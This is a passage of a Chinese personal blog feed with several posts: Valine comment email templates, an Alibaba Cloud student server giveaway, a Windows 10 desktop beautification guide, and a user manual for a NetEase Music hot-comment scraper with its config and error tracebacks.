0px;padding:15px;border-radius:5px;font-size:14px;color:#555555;">${PARENT_COMMENT}</div><p>${NICK} 给您的回复如下:</p><div style="background: #fafafa repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15);margin:20px 0px;padding:15px;border-radius:5px;font-size:14px;color:#555555;">${COMMENT}</div><p>您可以点击<a style="text-decoration:none; color:#12addb" href="${POST_URL}#comments">查看回复的完整內容</a>,欢迎再次光临<a style="text-decoration:none; color:#12addb"                href="${SITE_URL}"> ${SITE_NAME}</a></p><style type="text/css">a:link{text-decoration:none}a:visited{text-decoration:none}a:hover{text-decoration:none}a:active{text-decoration:none}</style></div></div>

邮件提醒的坑

如果要使用邮件通知,不需要在你的网站配置中把Notify这一项设定为true,否则只会按照设置中重置密码的模板发送而不会使用在变量中设置的模板,并且云引擎也不会发送邮件;顺带可以把verify调整为false来避免出现Valine的反人类评论验证

根据教程配置完相关的变量和管理面板后,邮件就会自动发送了!

更改了邮件模板,博主模板更换为以下内容(请注意替换里面的名字),来自@Dreamy.TZK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
<head>
<base target="_blank" />
<style type="text/css">
::-webkit-scrollbar {
display: none;
}
</style>
<style id="cloudAttachStyle" type="text/css">
#divNeteaseBigAttach,
#divNeteaseBigAttach_bak {
display: none;
}
</style>
<style id="blockquoteStyle" type="text/css">
blockquote {
display: none;
}
</style>
</head>

<body tabindex="0" role="listitem">
<div id="content">
<div style="background: white;
width: 95%;
max-width: 800px;
margin: auto auto;
border-radius: 5px;
border:orange 1px solid;
overflow: hidden;
-webkit-box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.12);
box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.18);">
<header style="overflow: hidden;">
<img style="width:100%;z-index: 666;" src="https://ae01.alicdn.com/kf/U5bb04af32be544c4b41206d9a42fcacfd.jpg" />
</header>
<div style="padding: 5px 20px;">
<p style="position: relative;
color: white;
float: left;
z-index: 999;
background: orange;
padding: 5px 30px;
margin: -25px auto 0 ;
box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.30)">
Dear&nbsp;GamerNoTitle
</p>
<br />
<center>
<h3>
来自<span style="text-decoration: none;color: orange ">${NICK}</span>发表评论
</h3>
</center>
<br />
&nbsp; &nbsp;
<p>
Ta在<a style="text-decoration: none;color: orange " target="_blank"
href="https://bili33.top">${SITE_NAME}</a>上发表的评论:
</p>
&nbsp; &nbsp;
<center
style="border-bottom:#ddd 1px solid;border-left:#ddd 1px solid;padding-bottom:20px;background-color:#eee;margin:15px 0px;padding-left:20px;padding-right:20px;border-top:#ddd 1px solid;border-right:#ddd 1px solid;padding-top:20px">
${COMMENT}
</center>
&nbsp; &nbsp;
<br />
<div style="text-align: center;margin-top: 40px;">
<img src="https://ae01.alicdn.com/kf/U0968ee80fd5c4f05a02bdda9709b041eE.png" alt="hr" style="width:100%;
margin:5px auto 5px auto;
display: block;" />
<a style="text-transform: uppercase;
text-decoration: none;
font-size: 14px;
border: 2px solid #6c7575;
color: #2f3333;
padding: 10px;
display: inline-block;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin: 10px auto 0; " target="_blank"
href="https://bili33.top">${SITE_NAME}|传送!Biu~</a>
</div>
&nbsp; &nbsp;
<p style="font-size: 12px;text-align: center;color: #999;">
欢迎常来做客哦!<br />
© 2020 <a style="text-decoration:none; color:orange" href="https://bili33.top"> ${SITE_NAME} </a>
</p>
</div>
</div>
</div>
<script>
var _c = document.getElementById("content");
_c.innerHTML = (_c.innerHTML || "")
.replace(/(href|formAction|onclick|javascript)/gi, "__$1")
.replace(/<\/?marquee>/gi, "");
</script>
<style type="text/css">
body {
font-size: 14px;
font-family: arial, verdana, sans-serif;
line-height: 1.666;
padding: 0;
margin: 0;
overflow: auto;
white-space: normal;
word-wrap: break-word;
min-height: 100px;
}
td,
input,
button,
select,
body {
font-family: Helvetica, "Microsoft Yahei", verdana;
}
pre {
white-space: pre-wrap;
white-space: -moz-pre-wrap;
white-space: -pre-wrap;
white-space: -o-pre-wrap;
word-wrap: break-word;
width: 95%;
}
th,
td {
font-family: arial, verdana, sans-serif;
line-height: 1.666;
}
img {
border: 0;
}
header,
footer,
section,
aside,
article,
nav,
hgroup,
figure,
figcaption {
display: block;
}
blockquote {
margin-right: 0px;
}
</style>

<style id="ntes_link_color" type="text/css">
a,
td a {
color: #236da1;
}
</style>
</body>

给用户的模板替换为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
<head>
<base target="_blank" />
<style type="text/css">
::-webkit-scrollbar {
display: none;
}
</style>
<style id="cloudAttachStyle" type="text/css">
#divNeteaseBigAttach,
#divNeteaseBigAttach_bak {
display: none;
}
</style>
<style id="blockquoteStyle" type="text/css">
blockquote {
display: none;
}
</style>
</head>

<body tabindex="0" role="listitem">
<div id="content">
<div style="background: white;
width: 95%;
max-width: 800px;
margin: auto auto;
border-radius: 5px;
border:orange 1px solid;
overflow: hidden;
-webkit-box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.12);
box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.18);">
<header style="overflow: hidden;">
<img style="width:100%;z-index: 666;" src="https://ae01.alicdn.com/kf/U5bb04af32be544c4b41206d9a42fcacfd.jpg" />
</header>
<div style="padding: 5px 20px;">
<p style="position: relative;
color: white;
float: left;
z-index: 999;
background: orange;
padding: 5px 30px;
margin: -25px auto 0 ;
box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.30)">
Dear&nbsp;${PARENT_NICK}
</p>
<br />
<center>
<h3>
来自<span style="text-decoration: none;color: orange ">${NICK}</span>的回复
</h3>
</center>
<br />
&nbsp; &nbsp;
<p>
${PARENT_NICK},您在<a style="text-decoration: none;color: orange " target="_blank"
href="${POST_URL}#comments">&nbsp;${SITE_NAME}&nbsp;</a>上曾发表的评论:
</p>
&nbsp; &nbsp;
<center>
${PARENT_COMMENT}
</center>
&nbsp; &nbsp;
<p style="
padding-bottom: 20px;
">
<span style="color: orange;">${NICK}</span> 给您回复啦~~~:
</p>
<p>
<center
style="border-bottom:#ddd 1px solid;border-left:#ddd 1px solid;padding-bottom:20px;background-color:#eee;margin:15px 0px;padding-left:20px;padding-right:20px;border-top:#ddd 1px solid;border-right:#ddd 1px solid;padding-top:20px">
${COMMENT}
</center>
</p>
<br />
<div style="text-align: center;margin-top: 40px;">
<img src="https://ae01.alicdn.com/kf/U0968ee80fd5c4f05a02bdda9709b041eE.png" alt="hr" style="width:100%;
margin:5px auto 5px auto;
display: block;" />
<a style="text-transform: uppercase;
text-decoration: none;
font-size: 14px;
border: 2px solid #6c7575;
color: #2f3333;
padding: 10px;
display: inline-block;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin: 10px auto 0; " target="_blank"
href="${POST_URL}#comments">${SITE_NAME}|传送!Biu~</a>
</div>
&nbsp; &nbsp;
<p style="font-size: 12px;text-align: center;color: #999;" id="hitokoto">
欢迎常来做客哦!</p>
<p style="font-size: 12px;text-align: center;color: #999;">© 2020 <a style="text-decoration:none; color:orange" href="${SITE_URL}"> ${SITE_NAME} </p>
</p>
</div>
</div>
</div>

<script>
var _c = document.getElementById("content");
_c.innerHTML = (_c.innerHTML || "")
.replace(/(href|formAction|onclick|javascript)/gi, "__$1")
.replace(/<\/?marquee>/gi, "");
var xhr = new XMLHttpRequest();
xhr.open('get', 'https://v1.hitokoto.cn/?c=e&c=j&c=k');
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
var data = JSON.parse(xhr.responseText);
var hitokoto = document.getElementById('hitokoto');
hitokoto.innerText = data.hitokoto;
}
}
xhr.send();
</script>
<style type="text/css">
body {
font-size: 14px;
font-family: arial, verdana, sans-serif;
line-height: 1.666;
padding: 0;
margin: 0;
overflow: auto;
white-space: normal;
word-wrap: break-word;
min-height: 100px;
}
td,
input,
button,
select,
body {
font-family: Helvetica, "Microsoft Yahei", verdana;
}
pre {
white-space: pre-wrap;
white-space: -moz-pre-wrap;
white-space: -pre-wrap;
white-space: -o-pre-wrap;
word-wrap: break-word;
width: 95%;
}
th,
td {
font-family: arial, verdana, sans-serif;
line-height: 1.666;
}
img {
border: 0;
}
header,
footer,
section,
aside,
article,
nav,
hgroup,
figure,
figcaption {
display: block;
}
blockquote {
margin-right: 0px;
}
</style>

<style id="ntes_link_color" type="text/css">
a,
td a {
color: #236da1;
}
</style>
</body>

因为原来的模板的变量写法不一样,而且变量也多了,我这里已经改成DesertP版本的了,不过博主的邮件模板里面注意修改没有使用变量的地方如GamerNoTitle


题外话

最近着手于美化一下博客,想在右边加上一个像火喵那样的基于Gitalk的动态面板,顺带改一下友链界面

昨天已经上了强制HTTPS访问啦!就上不了CloudFlare的CDN了,不过没有减速CDN也会快的吧

]]>
+ + + + + Software + + + + + + + Software + + Valine + + Serverless + + + +
+ + + + + 日常吐槽05 - 【阿里云限时活动】免费领取6个月ESC服务器,到期前一个月还能免费续费多半年 + + /posts/diary5/ + +

活动网址:https://developer.aliyun.com/adc/student/

网页

近期,阿里云开启了白给活动,叫做阿里云高校学生“在家实践”计划,官方描述是这样的:

白给活动描述

然后往下拉,可以看到这个活动分成5个部分:

五步

①注册/登录 ②学生认证 ③完成测试 ④领取ECS学习资源 ⑤开始课程学习

其实这五部分就前面三个部分是需要我们进行的。注册和登录就不用多说了;学生认证:如果你是在校大学生,那么这个认证对你来说很轻松;如果你不是在校大学生,没关系!按照阿里云官方的说法,24岁以下都算学生。 事实证明还是要完成学生认证……

然后麻烦的东西是测试,这个测试共有10道题目,每道题10分,具体说明如下:

学生成长计划领取资格考试 - 云计算及云服务器入门

共10道题 限时10分钟

知识点考察范围:云计算概念、云服务器ECS基础知识。学习《云计算的前世今生》(链接: https://developer.aliyun.com/course/1236)、《7天玩转云服务器》 (链接: https://developer.aliyun.com/course/70) 课程将有助于提升考试通过率。


答题开始即开始计时,中途不可暂停,如超时则自动提交

1、考试共 (10) 道题,总分100分,及格分数60分
2、考试需在(10分钟)内交卷,过程中无法暂停,请提前安排好时间;如未及时交卷,则本次考试作废
3、推荐使用 Chrome 浏览器(版本:73及以上的正式版本),或Firefox浏览器(版本:66及以上的正式版本)

反正我做下来也挺简单的,拿了个80分,不会的可以去百度一下,10分钟10道题时间绝对够

服务器相关信息

然后回到页面,你就有资格领取服务器啦!建议早上八点蹲点领取哦~

如果你是教师,你还可以通过教师认证,拿多一台服务器,岂不美哉?

阿里云活动规则如下:

一、活动对象:国内全日制在校学生

二、符合以下条件用户可参与:

  • 阿里云注册且个人实名认证用户
  • 完成学生认证
  • 完成学习课程并通过测试

三、活动规则

1.全日制在校大学生,需同时完成阿里云个人实名认证、学生认证,且两者信息一致,认证通过后,完成学生计划的学习课程,并通过测试,同一用户可免费领取1台云服务器ECS(仅限当前未保有 ECS用户 )和学习课程资源。

2.学生计划提供的云服务器ECS产品数额有限,每天8点开放固定领取名额 ,先到先得,领完即止。用户领取时应确认地域等相关选择信息,开通后不允许更改配置。

3.学生计划用户免费领取的云服务器ECS,有效期自领取日起6个月内有效。用户学生认证在有效期内且有效时长大于等于6个月的用户,云服务器ECS到期释放前30天内,可登录个人中心,参加阶段性学习考试,测试通过,可免费续期1次,时长为6个月,续费实例规格需跟领取时一致才可享受。使用过程中如需对领取产品进行升级,请按照标准费用进行升级。

4.如学生用户账号下存在正在使用的ECS产品或已通过云翼计划购买或未支付订单,会导致系统对用户领取资格的审核无法通过;在此情况下,用户ECS产品到期释放后、作废相应的未支付订单后,方可正常参与相应产品的领取。

5.参与阿里云高校在家实践计划的学生用户,同一用户最多可保有2台云服务器ECS,指包括满足学生计划条件用户,领取的1台云服务器ECS(同一用户限领1台),和通过教师计划,满足实名认证和学生认证条件用户,获得教师提供兑换码,验证成功,领取的1台云服务器ECS(同一用户限领1台)。

6.参与阿里云高校在家实践计划的学生用户,通过教师提供兑换码,领取的云服务器ECS,仅用于教师指定课程学习使用,课程结束后,请及时保存相关数据并进行ECS资源释放。如需继续使用,请自行进行续费操作。

7.用户参与阿里云高校在家实践计划(含学生计划)所获得的相应权益,仅限本人使用,不得转让、出售或以其他方式换取利益。

8.为保证活动的公平公正,阿里云有权对恶意刷抢(如通过程序等技术手段)活动资源,长期资源闲置 ,利用资源从事违法违规行为的用户收回免费领取ECS使用资格。

9.如用户在活动中存在隐瞒、虚构、作弊、欺诈或通过其他非正常手段规避活动规则、获取不当利益的行为,例如:作弊领取、恶意套现、网络攻击、虚假交易等,阿里云有权收回相关权益、取消用户的活动参与资格,撤销违规交易,必要时追究违规用户的法律责任。

10.活动名称仅为方便用户理解参考使用,不具有效力,实际活动内容以具体活动规则为准。

四、名词及解释

1.“阿里云官网”,是指包含域名为www.aliyun.com的网站以及阿里云客户端,如APP,但阿里云国际站,包括alibabacloud.com以及所有下属页面和jp.aliyun.com以及所有下属页面除外。

2.“同一用户”,是指根据不同阿里云账号在注册、登录、使用中的关联信息,阿里云判断其实际为同一用户。关联信息包括但不限于同一证件号、同一手机号、同一支付账号、同一设备、同一地址等。

3.“同人账号”,是指同一用户拥有多个阿里云账号的,各个账号之间互为同人账号。

4. “指定云产品”,是指某场具体活动列举的云产品(如上文所提ECS)。

5.除非有相反证据证明外,用户参与活动所获得的全部权益和相应责任,均归属于参与活动的该阿里云账号所对应的实名认证主体。

6.阿里云可以根据活动的实际情况对活动规则进行变动或调整,相关变动或调整将公布在活动页面上,并于公布时即时生效;但不影响用户在活动规则调整前已经获得的权益。

不说了,我要去白嫖了!

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + Windows10美化笔记 + + /posts/Windows10-Beautify/ + +

这几天在折腾Win10的美化,本来是想在某美化网站上下载主题包来美化的(这里有两个美化主题包需要自取 主题① | 主题②),但是实在是太麻烦了(具体怎么麻烦我把教程放出来你们感受一下),于是我决定自己来……


最后效果如图↓

美化结果


第一步:寻找壁纸

壁纸这个问题,当然是要去P站啦(当然是Pixiv啦,在想什么啦)

壁纸搜索

因为是美化向,所以壁纸的风格建议是不要太辣眼睛。这里的辣眼睛是指颜色不要太多,色差不要太大,我这里找的图是一张颜色集中在蓝色的图片,地址在这里https://www.pixiv.net/artworks/79898339(图片太大,一张图15.2MB,就不放原图了)

像下面这两张图这样的,第一张太亮,第二章色彩太繁杂的我是真的不推荐,当然你喜欢那我也没什么说的嘛

不推荐类型1:太亮

原图地址:https://www.pixiv.net/artworks/79925515

不推荐类型2:色彩繁杂

原图地址:https://www.pixiv.net/artworks/79923171

如果有人执意使用过量的图片的话,我这里有个建议,可以到PS里面把图片的亮度拉低一点,这样子不会看起来那么亮眼。

第二步:安装插件

这里我安装的插件有以下几个:

1、小黄条TODO

2、雨滴桌面

3、TranslucentTB汉化版Github汉化)(微软商店有,可以自己去微软商店里面搜索)

第一个是一个ToDo的列表,就是我左上角的那个Todo列表,有点类似便签,免费版绝对够个人使用,付费也就是多了云端存储而已

第二个相信不用多说,桌面小挂件,雨滴桌面非常好用

第三个是任务栏透明,可以调整各种参数,例如窗口最大化后任务栏的外观等等,微软商店有,如果上面的链接打不开就去微软商店里面搜索

第三步:放置图标

如果真的要美化,相信微软自带的自动排列图标只是一个累赘,所以我们要把它关掉,然后把图标放在自己喜欢的位置。我的建议是把图标放在壁纸偏暗的地方或者是色块比较均匀的地方,没有太多的颜色变化的地方。放好了以后,各种应用的图标摆在一起,风格也不统一,我们就需要使用图标包来替换。

图标更换

这里我使用的是Pure轻雨图标包,在酷安上有手机版,电脑的这一套是我从网上找的,但是我没法发出来(蓝奏云的限制太烦了),所以还是请你们自己去网上找吧,当然你也可以使用其他的图标包。右击桌面上的快捷方式,选到属性,然后选更改图标,选到自己的图标点确定即可

把自己的应用图标更改好,放在自己喜欢的位置,就完成了图标的管理工作

图标放置

第四步:配置雨滴

雨滴的小挂件就是它的亮点,我们需要配置一下自己的小挂件。我这里分享一些小挂件,需要的同学可以自己拿 传送门

一开始雨滴的那些黑色的挂件太丑了,我们可以右键它选择关闭皮肤来删除掉它

雨滴默认欢迎界面

关闭欢迎界面

皮肤共有两种安装方式:如果你拿到的是后缀名为.rmskin的,恭喜你,这是安装最简单的皮肤,直接双击安装即可!但是如果你拿到的是一个文件夹,别担心。你可以访问目录

C:\Users\%USERNAME%\Documents\Rainmeter\Skins,将自己的皮肤拖入;或者直接右击托盘里面的雨滴,选到皮肤,打开皮肤目录,也可以打开这个文件夹。拖入后右击托盘中的雨滴,点击管理,然后点击左下角的刷新全部就可以载入皮肤了!

然后就右击托盘里面的雨滴图标,选择皮肤,再选择自己的皮肤包里面的所需挂件,点击就可以加入到桌面上了

加入挂件

将挂件拖动到合适的位置,你就完成自己的美化啦!


我的皮肤配置:

Live 4 Music\In Out

Live 4 Music\DIgital Circles

Live 4 Music\Cpu Ram

Simple Clean\音乐频谱

系统信息Bars_II_by_Rasylver\Bars II\WIFI

系统信息Bars_II_by_Rasylver\Bars II\RAM

系统信息Bars_II_by_Rasylver\Bars II\CPU

这些皮肤在我发的文件里面都有,链接在上面,需要的可以自己取用。


题外话:

二月就过去了,学校还没开学,上网课感觉不是很在状态……

下周土命2就开新赛季了,本赛季等级120,下赛季冲个35就好了

想玩VR……

]]>
+ + + + + Software + + + + + + + Software + + + +
+ + + + + Netease-Comment-Spider 网易云音乐热评爬虫使用手册 + + /posts/Netease-Comment-Spider/ + +

今天有人申请适配网易云音乐热评的api,反正也没啥事干,就做一个吧!

如果你想看使用手册,那么请你直接往下拉跳过制作过程

观前提示:可以点击左下角点开导航栏阅读,项目地址:https://github.com/GamerNoTitle/Netease-Comment-Spider


制作过程

本程序是调用的https://www.mouse123.cn/api/163/api.php这个api,会返回很多数据,下面是一个返回的例子

1
{"song_id":"118","title":"Wolves","images":"https:\/\/p1.music.126.net\/-nQ2E-8ZjuwGtMipBTYzBw==\/17902248323721194.jpg","author":"Selena Gomez","album":"Wolves","description":"\u6b4c\u624b\uff1aSelena Gomez\u3002\u6240\u5c5e\u4e13\u8f91\uff1aWolves\u3002","pub_date":"2017-10-24 16:00:00","comment_id":"1510","comment_user_id":"333845131","comment_nickname":"Stroyberry","comment_avatar_url":"https:\/\/p2.music.126.net\/D7Z2xViXVpB7xH3m5NxDIw==\/109951164448917887.jpg","comment_content":"\ud83d\udc95\u5bf9\u65b0\u6b4c\u6709\u8bf4\u4e0d\u51fa\u7684\u611f\u89c9\uff0csel\u7684\u58f0\u97f3\u8f7b\u5feb\u5374\u53c8\u5f88\u968f\u6027\uff0c\u50cf\u662f\u8ffd\u72fc\u5374\u53c8\u9a7e\u9a6d\u7740\uff0c\u5b8c\u7f8e\u7684future bass\u8ba9\u4f60\u65e0\u6cd5\u81ea\u62d4\u554a\uff01sel\u548c\u68c9\u82b1\u7cd6\u8fd9\u6837\u795e\u7ea7\u7684\u78b0\u649e\ud83d\udca5\u8ba9\u4eba\u7a92\u606f\uff01\u5feb\u5e26\u4e0a\u8033\u673a\ud83c\udfa7\uff01\u95ed\u4e0a\u773c\u775b\uff01\u4e00\u8d77\u7a7f\u68ad\u4e8e\u4e1b\u6797\u4e4b\u4e2d\ud83d\ude0f","comment_pub_date":"2017-10-26 22:23:26"}

这个返回的数据看上去很复杂,但是分析一下,返回的还是json格式,那么这个东西的解析就跟一言的那个项目是一样的,根据上面的信息,我把config.json的可选配置分成了以下几个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"path": "Netease.csv",
"times": 100,
"delay": 0,
"timeout": 60,
"song_id": false,
"images": false,
"album": false,
"description": false,
"pub_date": false,
"comment_user_id": false,
"comment_avatar_url": false,
"comment_pub_date": false
}

path为文件输出的路径,文件以csv格式输出,请务必带文件后缀!

times为抓取次数,支持大于0的整数,直接输入数字即可!

delay表示抓取一次得到结果以后等待的时长,为了不给api提供商造成太大的服务器负担,我强烈建议设置此项,填入大于等于0的整数即可,单位是秒

timeout表示连接超时时长,支持大于5的整数

song_id为歌曲的id,如果开启将把歌曲id写入csv文档,只支持true或false

images表示是否抓取图片,这是专辑封面,将保存到".\albums"文件夹并命名为对应的评论ID,只支持true或false

album表示歌曲来源专辑,如果开启将把专辑名写入csv文件,只支持true或false

description表示歌曲的描述,如果开启将把描述写入csv文件,只支持true或false

pub_date表示歌曲发行的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

comment_user_id表示评论的用户的id,如果开启将把id写入csv文档,只支持true或false

comment_avatar_url表示评论用户的头像,如果开启将把头像存瑞.\avatars文件夹并命名为对应的评论ID,只支持true或false

comment_pub_date表示评论发布的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

搞定可选配置以后,把一言的那个项目拿过来当模板,然后把变量名称往里面套,很快就做好了一个程序。但是这个api返回的数据还是有些不一样的,其中就返回了专辑封面的URL评论用户的头像URL,这两个URL可以让我们获取到相应的图片

另外,这个api返回的编码格式是Unicode,与一言直接返回中文不一样,我本来想做一个Unicode直接转成gbk保存的功能,但是最后只能以UTF8保存(有能做出相应功能的大佬欢迎提交PR)

我使用了requests直接获取图片的二进制码,然后将其写入一个文件来达到保存功能,具体实现方式如下:

1
2
3
4
5
6
7
8
9
10
if(conf['images']):
print("正在保存专辑封面……")
image = r.get(data['images']).content
with open('./images/' + data['comment_id'] + '.jpg', 'wb') as f:
f.write(image)
if(conf['comment_avatar_url']):
print("正在保存评论用户头像……")
image = r.get(data['comment_avatar_url']).content
with open('./avatars/' + data['comment_id'] + '.jpg', 'wb') as f:
f.write(image)

这样就可以保存图片了,但是对应的文件夹不能够删除,否则会出现找不到文件的BUG~


使用手册

基本功能

基本功能就有从api获取对应的信息,并将其存入csv文件,固定有的信息是comment_idcomment_usernametitleauthorcomment_content这几个信息,另外可选的在config.json中进行修改

输出的csv文件目前是以UTF8的编码保存的,如果想要在Excel中查看,你需要使用vscode之类的文本编辑器更改保存的编码方式为gbk才能够在Excel中查看,否则会乱码

可选配置

克隆了代码以后,在目录下有一个config.json文件,在config.json文件可以对选项进行启用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"path": "Netease.csv",
"times": 100,
"delay": 0,
"timeout": 60,
"song_id": false,
"images": false,
"album": false,
"description": false,
"pub_date": false,
"comment_user_id": false,
"comment_avatar_url": false,
"comment_pub_date": false
}

path为文件输出的路径,文件以csv格式输出,请务必带文件后缀!

times为抓取次数,支持大于0的整数,直接输入数字即可!

delay表示抓取一次得到结果以后等待的时长,为了不给api提供商造成太大的服务器负担,我强烈建议设置此项,填入大于等于0的整数即可,单位是秒

timeout表示连接超时时长,支持大于5的整数

song_id为歌曲的id,如果开启将把歌曲id写入csv文档,只支持true或false

images表示是否抓取图片,这是专辑封面,将保存到".\albums"文件夹并命名为对应的评论ID,只支持true或false

album表示歌曲来源专辑,如果开启将把专辑名写入csv文件,只支持true或false

description表示歌曲的描述,如果开启将把描述写入csv文件,只支持true或false

pub_date表示歌曲发行的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

comment_user_id表示评论的用户的id,如果开启将把id写入csv文档,只支持true或false

comment_avatar_url表示评论用户的头像,如果开启将把头像存瑞.\avatars文件夹并命名为对应的评论ID,只支持true或false

comment_pub_date表示评论发布的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

上面这些参数根据自己的需要进行设置即可!需要注意的是如果开启了imagescomment_avatar_url选项那么不能够删除avatarsimages文件夹,否则会报错!!!

Q & A

Q: [Errno 2] No such file or directory

如果你在使用本程序的时候出现了以下错误:

1
2
3
4
5
Traceback (most recent call last):
File "main.py", line 107, in <module>
with open('images/' + data['comment_id'] + '.jpg', 'wb') as f:
FileNotFoundError: [Errno 2] No such file or directory: 'images/xxx.jpg'
# 此处xxx应为某一个数字

A: 请你检查是否删除了avatars文件夹或images文件夹!


Q: KeyboardInterrupt

如果你在使用本程序的时候出现了以下错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Traceback (most recent call last):
File "main.py", line 50, in <module>
res = r.get("https://www.mouse123.cn/api/163/api.php",timeout=timeout) # 调用api
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\api.py", line 75, in get
return request('get', url, params=params, **kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\api.py", line 60, in request
return session.request(method=method, url=url, **kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\sessions.py", line 533, in request
resp = self.send(prep, **send_kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\sessions.py", line 646, in send
r = adapter.send(request, **kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\adapters.py", line 439, in send
resp = conn.urlopen(
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connectionpool.py", line 665, in urlopen
httplib_response = self._make_request(
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connectionpool.py", line 376, in _make_request
self._validate_conn(conn)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connectionpool.py", line 994, in _validate_conn
conn.connect()
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connection.py", line 300, in connect
conn = self._new_conn()
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connection.py", line 156, in _new_conn
conn = connection.create_connection(
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\util\connection.py", line 74, in create_connection
sock.connect(sa)
KeyboardInterrupt

A: 请你检查在程序运行的过程中是否有键盘的操作,例如Ctrl+C之类的操作!


Q: requests.exceptions.SSLError
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Traceback (most recent call last):
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\contrib\pyopenssl.py", line 453, in wrap_socket
cnx.do_handshake()
File "C:\ProgramData\Anaconda3\lib\site-packages\OpenSSL\SSL.py", line 1915, in do_handshake
self._raise_ssl_error(self._ssl, result)
File "C:\ProgramData\Anaconda3\lib\site-packages\OpenSSL\SSL.py", line 1639, in _raise_ssl_error
raise SysCallError(errno, errorcode.get(errno))
OpenSSL.SSL.SysCallError: (10060, 'WSAETIMEDOUT')

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 600, in urlopen
chunked=chunked)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 343, in _make_request
self._validate_conn(conn)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 839, in _validate_conn
conn.connect()
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connection.py", line 344, in connect
ssl_context=context)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\util\ssl_.py", line 344, in ssl_wrap_socket
return context.wrap_socket(sock, server_hostname=server_hostname)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\contrib\pyopenssl.py", line 459, in wrap_socket
raise ssl.SSLError('bad handshake: %r' % e)
ssl.SSLError: ("bad handshake: SysCallError(10060, 'WSAETIMEDOUT')",)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\adapters.py", line 449, in send
timeout=timeout
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 638, in urlopen
_stacktrace=sys.exc_info()[2])
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\util\retry.py", line 398, in increment
raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='p2.music.126.net', port=443): Max retries exceeded with url: /gxo54B2ypqq0Y6tmahBnIw==/109951163596240238.jpg (Caused by SSLError(SSLError("bad handshake: SysCallError(10060, 'WSAETIMEDOUT')")))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "main.py", line 77, in <module>
image = r.get(data['images']).content
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\api.py", line 75, in get
return request('get', url, params=params, **kwargs)
